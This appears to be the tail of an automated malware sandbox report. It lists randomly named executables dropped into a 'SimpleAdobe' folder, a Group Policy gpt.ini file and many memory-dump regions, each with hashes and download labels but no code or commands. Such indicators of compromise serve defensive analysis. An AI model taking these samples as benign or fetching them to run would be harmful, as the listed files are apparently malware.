                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    ShBdLmgBmdNyvKwzo5ccpH8o.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\Documents\SimpleAdobe\ShBdLmgBmdNyvKwzo5ccpH8o.exe
                                                                                                                                                                                                                                                                                                                                    • Size 10.1MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 0d990bedac4696a67ad46dbc686750086f72f4795ed8a6121782ba3b0dc736b5
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    UwfcRW2Xx75JXDM8SzxQO466.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\Documents\SimpleAdobe\UwfcRW2Xx75JXDM8SzxQO466.exe
                                                                                                                                                                                                                                                                                                                                    • Size 2.4MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 441f614bb8a71a458b9f8274f807c33550d0a91304b7b1bc25c23c6cd8d9b616
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    bjQdGm6ygYPNsMRtAScKnKmq.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\Documents\SimpleAdobe\bjQdGm6ygYPNsMRtAScKnKmq.exe
                                                                                                                                                                                                                                                                                                                                    • Size 186KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 1df54fe4b5d97887f5cd20492e36aacc8acc8a06a7b5d41e59317011df866ce8
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    keMAE7CTzA5DFQhv0dkPuuTC.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\Documents\SimpleAdobe\keMAE7CTzA5DFQhv0dkPuuTC.exe
                                                                                                                                                                                                                                                                                                                                    • Size 493KB
                                                                                                                                                                                                                                                                                                                                    • SHA256 0df1cefa3f151719c30665ab66d65a8e767d3bb12b1d5bdf724a8bee7071c946
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    wYmcw9xn72wdi_yJ16SdJnte.exe
                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\Documents\SimpleAdobe\wYmcw9xn72wdi_yJ16SdJnte.exe
                                                                                                                                                                                                                                                                                                                                    • Size 5.5MB
                                                                                                                                                                                                                                                                                                                                    • SHA256 83b2f6c63dc3ec6cea64755ce2042ff747d52571daaef8a47934e00378f0afd3
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    gpt.ini
                                                                                                                                                                                                                                                                                                                                    • Path C:\Windows\System32\GroupPolicy\gpt.ini
                                                                                                                                                                                                                                                                                                                                    • Size 127B
                                                                                                                                                                                                                                                                                                                                    • SHA256 9228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2
                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                    memory/60-603-0x0000000005970000-0x00000000059D6000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/60-638-0x0000000005A60000-0x0000000005DB4000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/60-601-0x00000000058D0000-0x00000000058F2000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/652-688-0x0000000000DD0000-0x0000000000E20000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/760-1036-0x0000000000DE0000-0x0000000001298000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/760-1101-0x0000000000DE0000-0x0000000001298000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1020-1876-0x00000000005A0000-0x0000000000A59000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1020-1865-0x00000000005A0000-0x0000000000A59000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1224-1910-0x0000000004D00000-0x0000000005054000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1336-781-0x0000000000C40000-0x0000000000C90000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1372-787-0x0000000000E40000-0x000000000107C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1372-1648-0x0000000000E40000-0x000000000107C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1520-1091-0x0000000000070000-0x00000000000D6000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1680-433-0x0000000000EB0000-0x0000000001369000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1680-220-0x0000000000EB0000-0x0000000001369000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1768-655-0x0000000005FE0000-0x0000000005FFE000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1768-596-0x00000000051B0000-0x00000000057D8000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1768-594-0x0000000004A40000-0x0000000004A76000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1780-828-0x0000000000A20000-0x0000000000ED8000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1780-1035-0x0000000000A20000-0x0000000000ED8000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/1952-392-0x0000000000400000-0x000000000047A000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2024-1784-0x0000020430120000-0x0000020430142000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2028-660-0x0000000000400000-0x0000000000450000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2032-1342-0x0000000000E50000-0x0000000001A3C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2032-1706-0x0000000000E50000-0x0000000001A3C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-15-0x00007FF7149C0000-0x00007FF715156000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-16-0x00007FF714B26000-0x00007FF714D3F000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-7-0x00007FF7149C0000-0x00007FF715156000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-1-0x00007FFA00090000-0x00007FFA00092000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-466-0x00007FF714B26000-0x00007FF714D3F000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-467-0x00007FF7149C0000-0x00007FF715156000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-6-0x00007FF7149C0000-0x00007FF715156000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2052-0-0x00007FF714B26000-0x00007FF714D3F000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2432-411-0x0000000000400000-0x0000000000797000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2432-426-0x0000000000400000-0x0000000000797000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-302-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-296-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-272-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-274-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-276-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-278-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-282-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-284-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-228-0x00000000056D0000-0x000000000576C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-261-0x0000000005630000-0x000000000564C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-286-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-288-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-263-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-290-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-292-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-295-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-268-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-264-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-270-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-312-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-298-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-266-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-301-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-223-0x0000000002F40000-0x0000000002F5A000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-304-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-306-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-221-0x0000000000A30000-0x0000000000D5C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-308-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-310-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-260-0x00000000057D0000-0x0000000005914000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-280-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-318-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-315-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/2564-316-0x0000000005630000-0x0000000005645000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3196-1340-0x0000000000790000-0x0000000000E46000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3196-402-0x0000000000790000-0x0000000000E46000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3596-1097-0x0000000000DE0000-0x0000000001298000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3596-1863-0x0000000000DE0000-0x0000000001298000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3996-991-0x0000000000F40000-0x00000000013F8000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/3996-1099-0x0000000000F40000-0x00000000013F8000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4052-211-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-350-0x0000000006900000-0x0000000006F18000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-735-0x0000000007E80000-0x00000000083AC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-351-0x0000000005B40000-0x0000000005C4A000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-363-0x0000000005AB0000-0x0000000005AEC000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-262-0x0000000000400000-0x0000000000450000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-371-0x0000000005C50000-0x0000000005C9C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-338-0x0000000005820000-0x00000000058B2000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-352-0x0000000005A50000-0x0000000005A62000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-349-0x00000000057E0000-0x00000000057EA000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-336-0x0000000005D30000-0x00000000062D4000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-468-0x0000000006460000-0x00000000064C6000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-782-0x0000000007C10000-0x0000000007C60000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4060-734-0x0000000007780000-0x0000000007942000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4084-219-0x0000000000530000-0x000000000111C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4084-927-0x0000000000530000-0x000000000111C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4180-1548-0x0000000000400000-0x0000000000797000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4232-1874-0x0000000000DE0000-0x0000000001298000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4232-1864-0x0000000000DE0000-0x0000000001298000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4300-403-0x00000000007B0000-0x0000000000E6C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4300-1341-0x00000000007B0000-0x0000000000E6C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4512-435-0x00000000005A0000-0x0000000000A59000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4512-1688-0x00000000005A0000-0x0000000000A59000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4792-487-0x0000000000BD0000-0x000000000114A000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4792-488-0x0000000005B30000-0x0000000005C14000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4816-1073-0x0000000000E40000-0x0000000000E92000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4816-1090-0x00000000063A0000-0x0000000006416000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/4816-1093-0x0000000006BA0000-0x0000000006BBE000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5744-1867-0x00000000007B0000-0x0000000000E6C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                    memory/5744-2002-0x00000000007B0000-0x0000000000E6C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                    Download